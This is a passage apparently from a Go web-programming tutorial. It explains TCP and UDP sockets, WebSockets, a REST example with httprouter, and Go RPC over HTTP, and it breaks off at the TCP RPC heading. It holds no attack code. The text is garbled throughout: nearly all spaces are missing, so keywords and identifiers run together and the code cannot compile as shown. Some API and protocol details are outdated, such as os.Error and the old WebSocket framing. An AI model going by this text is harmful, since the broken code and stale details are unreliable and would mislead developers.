8.1SocketsSomenetworkapplicationdeveloperssaythatthelowerapplicationlayersareallaboutsocketprogramming.Thismaynotbetrueforallcases,butmanymodernwebapplicationsdoindeedusesocketstotheiradvantage.Haveyoueverwonderedhowbrowserscommunicatewithwebserverswhenyouaresurfingtheinternet?OrHowMSNconnectsyouandyourfriendstogetherinachatroom,relayingeachmessageinreal-time?Manyservicesliketheseusesocketstotransferdata.Asyoucansee,socketsoccupyanimportantpositioninnetworkprogrammingtoday,andwe'regoingtolearnaboutusingsocketsinGointhissection.

Whatisasocket

SocketsoriginatefromUnix,andgiventhebasic"everythingisafile"philosophyofUnix,everythingcanbeoperatedonwith"open->write/read->close".Socketsareoneimplementationofthisphilosophy.Socketshaveafunctioncallforopeningasocketjustlikeyouwouldopenafile.Thisreturnsanintdescriptorofthesocketwhichcanthenbeusedforoperationslikecreatingconnections,transferringdata,etc.

Twotypesofsocketsthatarecommonlyusedarestreamsockets(SOCK_STREAM)anddatagramsockets(SOCK_DGRAM).Streamsocketsareconnection-orientedlikeTCP,whiledatagramsocketsdonotestablish

connections,likeUDP.

Socketcommunication

Beforeweunderstandhowsocketscommunicatewithoneanother,weneedtofigureouthowtomakesurethateverysocketisunique,otherwiseestablishingareliablecommunicationchannelisalreadyoutofthequestion.WecangiveeveryprocessauniquePIDwhichservesourpurposelocally,howeverthat'snotabletoworkoveranetwork.Fortunately,TCP/IPhelpsussolvethisproblem.TheIPaddressesofthenetworklayerareuniqueinanetworkofhosts,and"protocol+port"isalsouniqueamonghostapplications.So,wecanusetheseprinciplestomakesocketswhichareunique.

Figure8.1networkprotocollayers

ApplicationsthatarebasedonTCP/IPallusesocketAPIsintheircodeinonewayoranother.Giventhatnetworkedapplicationsarebecomingmoreand

moreprevalentinthemodernday,it'snowondersomedevelopersaresayingthat"everythingisaboutsockets".

Socketbasicknowledge

Weknowthatsocketshavetwotypes,whichareTCPsocketsandUDPsockets.TCPandUDPareprotocolsand,asmentioned,wealsoneedanIPaddressandportnumbertohaveauniquesocket.

IPv4

TheglobalinternetusesTCP/IPasitsprotocol,whereIPisthenetworklayerandacorepartofTCP/IP.IPv4signifiesthatitsversionis4;infrastructuredevelopmenttodatehasspannedover30years.

ThenumberofbitsinanIPv4addressis32,whichmeansthat2^32devicesareabletouniquelyconnecttotheinternet.Duetotherapiddevelopoftheinternet,IPaddressesarealreadyrunningoutofstockinrecentyears.

Addressformat:127.0.0.1,172.122.121.111.

IPv6

IPv6isthenextversionornextgenerationoftheinternet.It'sbeingdevelopedforsolvingmanyoftheproblemsinherentwithIPv4.DevicesusingIPv6haveanaddressthat's128bitslong,sowe'llneverneedtoworryaboutashortageofuniqueaddresses.Toputthisintoperspective,youcouldhavemorethan1000IPaddressesforeverysquaremeteronearthwithIPv6.Otherproblemslikepeertopeerconnection,servicequality(QoS),security,multiplebroadcast,etc.,arealsobeimproved.

Addressformat:2002:c0e8:82e7:0:0:0:c0e8:82e7.

IPtypesinGo

ThenetpackageinGoprovidesmanytypes,functionsandmethodsfornetworkprogramming.ThedefinitionofIPasfollows:

typeIP[]byte

FunctionsParseIP(sstring)IPisforconvertinganIPfromtheIPv4formatintoIPv6:

packagemainimport("net""os""fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}

ItreturnsthecorrespondingIPformatforagivenIPaddress.

TCPsocket

Whatcanwedowhenweknowhowtovisitawebservicethroughanetworkport?Asaclient,wecansendarequesttoanappointednetworkportandgetsitsresponse;asaserver,weneedtobindaservicetoanappointednetworkport,waitforclients'requestsandsupplyaresponse.

InGo'snetpackage,there'satypecalledTCPConnthatfacilitatesthiskindofclients/serversinteraction.Thistypehastwokeyfunctions:

func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)

TCPConncanbeusedbyeitherclientorserverforreadingandwritingdata.

WealsoneedaTCPAddrtorepresentTCPaddressinformation:

typeTCPAddrstruct{IPIPPortint}

WeusetheResolveTCPAddrfunctiontogetaTCPAddrinGo:

funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)

Argumentsofnetcanbeoneof"tcp4","tcp6"or"tcp",whicheachsignifyIPv4-only,IPv6-only,andeitherIPv4orIPv6,respectively.addrcanbeadomainnameorIPaddress,like"www.google.com:80"or"127.0.0.1:22".

TCPclient

GoclientsusetheDialTCPfunctioninthenetpackagetocreateaTCPconnection,whichreturnsaTCPConnobject;afteraconnectionisestablished,theserverhasthesametypeofconnectionobjectforthecurrentconnection,andclientandservercanbeginexchangingdatawithoneanother.Ingeneral,clientssendrequeststoserversthroughaTCPConnandreceiveinformationfromtheserverresponse;serversreadandparseclientrequests,thenreturnfeedback.Thisconnectionwillremainvaliduntil

eithertheclientorserverclosesit.Thefunctionforcreatingaconnectionisasfollows:

funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)

Argumentsofnetcanbeoneof"tcp4","tcp6"or"tcp",whicheachsignifyIPv4-only,IPv6-only,andeitherIPv4orIPv6,respectively.laddrrepresentsthelocaladdress,setittonilinmostcases.raddrrepresentstheremoteaddress.

Let'swriteasimpleexampletosimulateaclientrequestingaconnectiontoaserverbasedonanHTTPrequest.WeneedasimpleHTTPrequestheader:

"HEAD/HTTP/1.0\r\n\r\n"

Serverresponseinformationformatmaylooklikethefollowing:

HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMTContent-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23

Clientcode:

packagemain

import("fmt""io/ioutil""net""os"

)

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

Intheaboveexample,weuseuserinputastheserviceargumentofnet.ResolveTCPAddrtogetatcpAddr.PassingtcpAddrtotheDialTCPfunction,wecreateaTCPconnection,conn.Wecanthenuseconntosendrequestinformationtotheserver.Finally,weuseioutil.ReadAlltoreadallthecontentfromconn,whichcontainstheserverresponse.

TCPserver

WehaveaTCPclientnow.WecanalsousethenetpackagetowriteaTCPserver.Ontheserverside,weneedtobindourservicetoaspecificinactiveportandlistenforanyincomingclientrequests.

funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)

TheargumentsrequiredhereareidenticaltothoserequiredbytheDialTCPfunctionweusedearlier.Let'simplementatimesyncingserviceusingport7777:

packagemain

import("fmt""net""os""time")

funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue

conn.Close()//we'refinishedwiththisclient}}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

Aftertheserviceisstarted,itwaitsforclientrequests.Whenitreceivesaclientrequest,itAcceptsitandreturnsaresponsetotheclientcontaining

informationaboutthecurrenttime.It'sworthnotingthatwhenerrorsoccurintheforloop,theservicecontinuesrunninginsteadofexiting.Insteadofcrashing,theserverwillrecordtheerrortoaservererrorlog.

Theabovecodeisstillnotgoodenough,however.Wedidn'tmakeuseofgoroutines,whichwouldhaveallowedustoacceptsimultaneousrequests.Let'sdothisnow:

packagemain

import("fmt""net""os""time")

funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue//we'refinishedwiththisclient}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}

}

ByseparatingoutourbusinessprocessfromthehandleClientfunction,andbyusingthegokeyword,we'vealreadyimplementedconcurrencyinourservice.Thisisagooddemonstrationofthepowerandsimplicityofgoroutines.

Someofyoumaybethinkingthefollowing:thisserverdoesnotdoanythingmeaningful.Whatifweneededtosendmultiplerequestsfordifferenttimeformatsoverasingleconnection?Howwouldwedothat?

packagemain

import("fmt""net""os""time""strconv")

funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaximumrequestlengthto128Btopreventfloodbasedattacksdeferconn.Close()//closeconnectionbeforeexit

for{read_len,err:=conn.Read(request)

iferr!=nil{fmt.Println(err)break}

ifread_len==0{break//connectionalreadyclosedbyclient}elseifstring(request)=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}

request=make([]byte,128)//clearlastreadcontent}}

funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

Inthisexample,weuseconn.Read()toconstantlyreadclientrequests.Wecannotclosetheconnectionbecauseclientsmayissuemorethanonerequest.Duetothetimeoutwesetusingconn.SetReadDeadline(),theconnectionclosesautomaticallywhenaclienthasnotsentarequestwithinourallottedtimeperiod.Whenthenexpirytimehaselapsed,ourprogrambreaksfromtheforloop.Noticethatrequestneedstobecreatedwithamaxsizelimitationinordertopreventfloodattacks.FInally,wecleantherequestarrayafterprocessingeveryrequest,sinceconn.Read()appendsnewcontenttothearrayinsteadofrewritingit.

ControllingTCPconnections

ControllingTCPfunctions:

funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)

Settingthetimeoutofconnections.Thesearesuitableforuseonbothclientsandservers:

func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error

Settingthewrite/readtimeoutofoneconnection:

func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error

It'sworthtakingsometimetothinkabouthowlongyouwantyourconnectiontimeoutstobe.Longconnectionscanreducetheamountofoverheadinvolvedincreatingconnectionsandaregoodforapplicationsthatneedtoexchangedatafrequently.

Formoredetailedinformation,justlookuptheofficialdocumentationforGo'snetpackage.

UDPsockets

TheonlydifferencebetweenaUDPsocketandaTCPsocketistheprocessingmethodfordealingwithmultiplerequestsonserverside.ThisarisesfromthefactthatUDPdoesnothaveafunctionlikeAccept.AlloftheotherfunctionshaveUDPcounterparts;justreplaceTCPwithUDPinthefunctionsmentionedabove.

funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)

funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Errorfunc(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)

UDPclientcodesample:

packagemain

import("fmt""net""os")

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}

UDPservercodesample:

packagemain

import("fmt""net""os""time")

funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}

Summary

ThroughdescribingandcodingsomesimpleprogramsusingTCPandUDP

sockets,wecanseethatGoprovidesexcellentsupportforsocketprogramming,andthattheyarefunandeasytouse.Goalsoprovidesmanyfunctionsforbuildinghighperformancesocketapplications.

Links

DirectoryPrevioussection:WebservicesNextsection:WebSocket

8.2WebSocketsWebSocketsareanimportantfeatureofHTML5.Itimplementsbrowserbasedremotesockets,whichallowsbrowserstohavefull-duplexcommunicationswithservers.MainstreambrowserslikeFirefox,GoogleChromeandSafariprovidesupportforthisWebSockets.

Peopleoftenused"rollpolling"forinstantmessagingservicesbeforeWebSocketswereborn,whichallowclientstosendHTTPrequestsperiodically.Theserverthenreturnsthelatestdatatoclients.Thedownsidetothismethodisthatitrequiresclientstokeepsendingmanyrequeststotheserver,whichcanconsumealargeamountofbandwidth.

WebSocketsuseaspecialkindofheaderthatreducesthenumberofhandshakesrequiredbetweenbrowserandservertoonlyone,forestablishingaconnection.Thisconnectionwillremainactivethroughoutitslifetime,andyoucanuseJavaScripttowriteorreaddatafromthisconnection,asinthecaseofaconventionalTCPsockets.Itsolvesmanyoftheheadacheinvolvedwithreal-timewebdevelopment,andhasthefollowingadvantagesovertraditionalHTTP:

OnlyoneTCPconnectionforasinglewebclient.WebSocketserverscanpushdatatowebclients.Lightweightheadertoreducedatatransmissionoverhead.

WebSocketURLsbeginwithws://orwss://(SSL).ThefollowingfigureshowsthecommunicationprocessofWebSockets.AparticularHTTPheaderissenttotheserveraspartofthehandshakingprotocolandtheconnectionisestablished.Then,serversorclientsareabletosendorreceivedatathroughJavaScriptviaWebSocket.Thissocketcanthenbeusedbyaneventhandlertoreceivedataasynchronously.

Figure8.2WebSocketprincipl

WebSocketprinciples

TheWebSocketprotocolisactuallyquitesimple.Aftersuccessfullycompletingtheinitialhandshake,aconnectionisestablished.Subsequentdatacommunicationswillallbeginwith"\x00"andendwith"\xFF".ThisprefixandsuffixwillbevisibletoclientsbecausetheWebSocketwillbreakoffbothend,yieldingtherawdataautomatically.

WebSocketconnectionsarerequestedbybrowsersandrespondedtoby

servers,afterwhichtheconnectionisestablished.Thisprocessisoftencalled"handshaking".

Considerthefollowingrequestsandresponses:

Figure8.3WebSocketrequestandresponse.

"Sec-WebSocket-key"isgeneratedrandomly,asyoumayhavealreadyguessed,andit'sbase64encoded.Serversneedtoappendthiskeytoafixedstringafteracceptingarequest:

258EAFA5-E914-47DA-95CA-C5AB0DC85B11

Supposewehavef7cb4ezEAl6C3wRaU6JORA==,thenwehave:

f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

Usesha1tocomputethebinaryvalueandusebase64toencodeit.Wewillthenwehave:

rE91AJhfC+6JdVcVXOGJEADEJdQ=

UsethisasthevalueoftheSec-WebSocket-Acceptresponseheader.

WebSocketinGo

TheGostandardlibrarydoesnotsupportWebSockets.Howeverthewebsocketpackage,whichisasub-packageofgo.netdoes,andisofficiallymaintainedandsupported.

Usegogettoinstallthispackage:

gogetcode.google.com/p/go.net/websocket

WebSocketshavebothclientandserversides.Let'sseeasimpleexamplewhereauserinputssomeinformationontheclientsideandsendsittotheserverthroughaWebSocket,followedbytheserverpushinginformationbacktotheclient.

Clientcode:

<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";

window.onload=function(){

console.log("onload");

sock=newWebSocket(wsuri);

sock.onopen=function(){console.log("connectedto"+wsuri);}

sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}

sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};

functionsend(){varmsg=document.getElementById('message').value;sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form><buttononclick="send();">SendMessage</button></body></html>

Asyoucansee,it'sveryeasytousetheclientsideJavaScriptfunctionstoestablishaconnection.Theonopeneventgetstriggeredaftersuccessfullycompletingtheaforementionedhandshakingprocess.Ittellstheclientthattheconnectionhasbeencreatedsuccessfully.Clientsattemptingtoopenaconnectiontypicallybindtofourevents:

1onopen:triggeredafterconnectionhasbeenestablished.2onmessage:triggeredafterreceivingamessage.3onerror:triggeredafteranerrorhasoccurred..4onclose:triggeredaftertheconnectionhasclosed.

Servercode:

packagemain

import("golang.org/x/net/websocket""fmt""log""net/http")

funcEcho(ws*websocket.Conn){varerrerror

for{varreplystring

iferr=websocket.Message.Receive(ws,&reply);err!=nil{fmt.Println("Can'treceive")break}

fmt.Println("Receivedbackfromclient:"+reply)

msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)

iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")break}}}

funcmain(){http.Handle("/",websocket.Handler(Echo))

iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}

WhenaclientSendsuserinputinformation,theserverReceivesit,andusesSendonceagaintoreturnaresponse.

Figure8.4WebSocketserverreceivedinformation.

Throughtheexampleabove,wecanseethattheclientandserversideimplementationofWebSocketsisveryconvenient.WecanusethenetpackagedirectlyinGo.WiththerapiddevelopmentofHTML5,IthinkthatWebSocketswilltakeonamuchmoreimportantroleinmoderndaywebdevelopment;weshouldallbeatleastalittlebitfamiliarwiththem.

Links

DirectoryPrevioussection:SocketsNextsection:REST

8.3RESTRESTisthemostpopularsoftwarearchitectureontheinternettodaybecauseitisfoundedonwelldefined,strictstandardsandit'seasytounderstandandexpand.mOreandmorewebsitesarebasingtheirdesignsontotopofit.Inthissection,wearegoingtohaveacloselookatimplementingtheRESTarchitectureinGoand(hopefully)learnhowtoleverageittoourbenefit.

WhatisREST?

ThefirstdeclarationoftheconceptofREST(REpresentationalStateTransfer)wasintheyear2000inRoyThomasFielding'sdoctoraldissertation,whoisalsojusthappenstobetheco-founderoftheHTTPprotocol.Itspecifiesthearchitecture'sconstraintsandprinciplesandanythingimplementedwith

architecturecanbecalledaRESTfulsystem.

BeforeweunderstandwhatRESTis,weneedtocoverthefollowingconcepts:

Resources

RESTisthePresentationLayerStateTransfer,wherethepresentationlayerisactuallytheresourcepresentationlayer.

Sowhatareresources?Pictures,documentsorvideos,etc.,areallexamplesofresourcesandcanbelocatedbyURI.

Representation

Resourcesarespecificinformationentitiesthatcanbeshowninavarietyofwayswithinthepresentationlayer.Forinstance,aTXTdocumentcanberepresentedasHTML,JSON,XML,etc;animagecanberepresentedasjpg,png,etc.

URIsareusedtoidentifyresources,buthowdowedetermineitsspecificmanifestations?YoushouldtheAcceptandContent-TypeinanHTTPrequestheader;thesetwofieldsdescribethepresentationlayer.

StateTransfer

Aninteractiveprocessisinitiatedbetweenclientandservereachtimeyouvisitanypageofawebsite.Duringthisprocess,certaindatarelatedtothecurrentpagestateneedtobesaved.However,you'llrecallthatHTTPisastatelessprotocol!It'sobviousthatweneedtosavethisclientstateonourserverside.Itfollowsthatifaclientmodifiessomedataandwantstopersistthechanges,theremustbeawaytoinformtheserversideaboutthenewstate.

Mostofthetime,clientsinformserversofstatechangesusingHTTP.Theyhavefouroperationswithwhichtodothis:

-GETisusedtoobtainresources-POSTsisusedtocreateorupdateresources-PUTupdatesresources-DELETEdeletesresources

Tosummarizetheabove:

1EveryURIreresentsaresource.2Thereisarepresentationlayerfortransferringresourcesbetweenclientsandservers.3ClientsusefourHTTPmethodstoimplement"PresentationLayerStateTransfer",allowingthemtooperateonremoteresources.

ThemostimportantprincipleofwebapplicationsthatimplementRESTisthattheinteractionbetweenclientsandserversarestateless;everyrequestshouldencapsulatealloftherequiredinformation.Serversshouldbeabletorestartatanytimewithouttheclientsbeingnotified.Inaddition,requestscanberespondedbyanyserverofthesameservice,whichisidealforcloudcomputing.Lastly,becauseit'sstateless,clientscancachedataforimprovingperformance.

AnotherimportantprincipleofRESTissystemdelamination,whichmeansthatcomponentsinonelayerhavenowayofinteractingdirectlywithcomponentsinotherlayers.Thiscanlimitsystemcomplexityandencourageindependenceintheunderlyingcomponents.

Figure8.5RESTarchitecture

WhenRESTfulconstraintsarejudiciouslyabidedby,webapplicationscanbescaledtoaccommodatemassivenumbersofclients.UsingtheRESTarchitecturecanalsohelpreducedelaysbetweenclientsandservers,simplifysystemarchitectureandimprovethevisibilityofsub-systemendpoints.

Figure8.6REST'sexpansibility.

RESTfulimplementation

Godoesn'thavedirectsupportforREST,butsinceRESTfulwebapplicationsareallHTTP-based,wecanusethenet/httppackagetoimplementitonourown.Ofcourse,wewillfirstneedtomakesomemodificationsbeforeweareabletofullyimplementREST.

RESTusesdifferentmethodstohandleresources,dependingontheinteractionthat'srequiredwiththatresource.ManyexistingapplicationsclaimtobeRESTfulbuttheydonotactuallyimplementREST.I'mgoingtocategorizetheseapplicationsintoseverallevelsdependsonwhichHTTPmethodstheyimplement.

Figure8.7REST'slevel.

ThepictureaboveshowsthreelevelsthatarecurrentlyimplementedinREST.YoumaynotchoosetofollowalltherulesandconstraintsofRESTwhendeveloppingyourownapplicationsbecausesometimesitsrulesarenotagoodfitforallsituations.RESTfulwebapplicationsuseeverysingleHTTPmethodincludingDELETEandPUT,butinmanycases,HTTPclientscanonlysendGETandPOSTrequests.

HTMLstandardallowsclientssendGETandPOSTrequeststhroughlinksandforms.It'snotpossibletosendPUTorDELETErequestswithoutAJAXsupport.SomefirewallsinterceptPUTandDELETErequestsandclientshavetousePOSTinordertoimplementthem.FullyRESTfulservicesareinchargeoffindingtheoriginalHTTPmethodsandrestoringthem.

WecansimulatePUTandDELETErequestsbyaddingahidden_methodfieldinourPOSTrequests,howevertheserequestsmustbeconvertedontheserversidebeforetheyareprocessed.MypersonalapplicationsusethisworkflowtoimplementRESTinterfaces.StandardRESTfulinterfacesareeasilyimplementedinGo,asthefollowingexampledemonstrates:

packagemain

import("fmt"

"github.com/julienschmidt/httprouter""log""net/http")

funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}

funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))}

funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}

funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}

funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}

funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}

funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)

router.GET("/user/:uid",getuser)

router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)

log.Fatal(http.ListenAndServe(":8080",router))}

ThissamplecodeshowsyouhowtowriteaverybasicRESTapplication.Ourresourcesareusers,andweusedifferentfunctionsfordifferentmethods.Here,weimportedathird-partypackagecalledgithub.com/julienschmidt/httprouter.We'vealreadycoveredhowtoimplementacustomrouterinpreviouschapters-thejulienschmidt/httprouterpackageimplementssomeveryconvenientroutermappingrulesthatmakeitveryconvenientforimplementingRESTfularchitecture.Asyoucansee,RESTrequiresyoutoimplementdifferentlogicfordifferentHTTPmethodsofthesameresource.

Summary

RESTisastyleofwebarchitecture,buildingonpastsuccessfulexperienceswithWWW:statelessness,resource-centric,fulluseofHTTPandURIprotocolsandtheprovisionofunifiedinterfaces.ThesesuperiordesignconsiderationshasallowedRESTtobecomethemostpopularwebservicesstandard.Inasense,byemphasizingtheURIandleveragingearlyInternetstandardssuchasHTTP,RESThaspavedthewayforlargeandscalablewebapplications.Currently,thesupportthatGohasForRESTisstillverybasic.However,byimplementingcustomroutingrulesanddifferentrequesthandlersforeachtypeofHTTPrequest,wecanachieveRESTfularchitectureinourGowebapps.

Links

DirectoryPrevioussection:WebSocketNextsection:RPC

8.4RPCInprevioussectionswetalkedabouthowtowritenetworkapplicationsbasedonSocketsandHTTP.Welearnedthatbothofthemusethe"informationexchange"model,inwhichclientssendrequestsandserversrespondtothem.Thiskindofdataexchangeisbasedonaspecificformatsothatbothsidesareabletocommunicatewithoneanother.However,manyindependentapplicationsdonotusethismodel,butinsteadcallservicesjustliketheywouldcallnormalfunctions.

RPCwasintendedtobethefunctioncallmodefornetworkedsystems.ClientsexecuteRPCsliketheycallnativefunctions,excepttheypackagethefunctionparametersandsendthemthroughthenetworktotheserver.Theservercanthenunpacktheseparametersandprocesstherequest,executingtheresultsbacktotheclient.

Incomputerscience,aremoteprocedurecall(RPC)isatypeofinter-processcommunicationthatallowsacomputerprogramtocauseasubroutineorproceduretoexecuteinanotheraddressspace(commonlyonanothercomputeronasharednetwork)withouttheprogrammerexplicitlycodingthedetailsforthisremoteinteraction.Thatis,theprogrammerwritesessentiallythesamecodewhetherthesubroutineislocaltotheexecutingprogram,orremote.Whenthesoftwareinquestionusesobject-orientedprinciples,RPCiscalledremoteinvocationorremotemethodinvocation.

RPCworkingprinciple

Figure8.8RPCworkingprinciple

Normally,anRPCcallfromclienttoserverhasthefollowingtensteps:

i. Calltheclienthandle,executetransferarguments.i. Calllocalsystemkerneltosendnetworkmessages.i. Sendmessagestoremotehosts.i. Theserverreceiveshandleandarguments.i. Executeremoteprocesses.i. Returnexecutionresulttocorrespondinghandle.i. Theserverhandlecallsremotesystemkernel.i. Messagessentbacktolocalsystemkernel.i. Theclienthandlereceivesmessagesfromsystemkernel.i. Theclientgetsresultsfromcorrespondinghandle.

GoRPC

GohasofficialsupportforRPCinitsstandardlibraryonthreelevels,whichareTCP,HTTPandJSONRPC.NotethatGoRPCisnotlikeothertraditionalRPCsystems.ItrequiresyoutouseGoapplicationsonbothclientandserversidesbecauseitencodescontentusingGob.

FunctionsofGoRPChavemustabidebythefollowingrulesforremoteaccess,otherwisethecorrespondingcallswillbeignored.

Functionsareexported(capitalize).Functionshavetohavetwoargumentswithexportedtypes.Thefirstargumentisforreceivingfromtheclient,andthesecondonehastobeapointerandisforreplyingtotheclient.Functionshavetohaveareturnvalueoferrortype.

Forexample:

func(t*T)MethodName(argTypeT1,replyType*T2)error

WhereT,T1andT2mustbeabletobeencodedbythepackage/gobpackage.

AnykindofRPChastogothroughanetworktotransferdata.GoRPCcaneitheruseHTTPorTCP.ThebenefitsofusingHTTPisthatyoucanreusesomefunctionsfromthenet/httppackage.

HTTPRPC

HTTPserversidecode:

packagemain

import("errors""fmt""net/http"

"net/rpc")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()

err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}

WeregisteredaRPCserviceofArith,thenregisteredthisserviceonHTTPthroughrpc.HandleHTTP.Afterthat,weareabletotransferdatathroughHTTP.

Clientsidecode:

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]

client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

Wecompiletheclientandtheserversidecodeseparatelythenstarttheserverandclient.You'llthenhavesomethingsimilarasfollowsafteryouinputsomedata.

$./http_clocalhostArith:17*8=136Arith:17/8=2remainder1

Asyoucansee,wedefinedastructforthereturntype.Weuseitastypeoffunctionargumentontheserverside,andasthetypeofthesecondandthirdargumentsontheclientclient.Call.Thiscallisveryimportant.Ithasthreearguments,wherethefirstoneisthenameofthefunctionthatisgoingtobecalled,thesecondistheargumentyouwanttopass,andthelastoneisthereturnvalue(ofpointertype).Sofarweseethatit'seasytoimplementRPCinGo.

TCPRPC

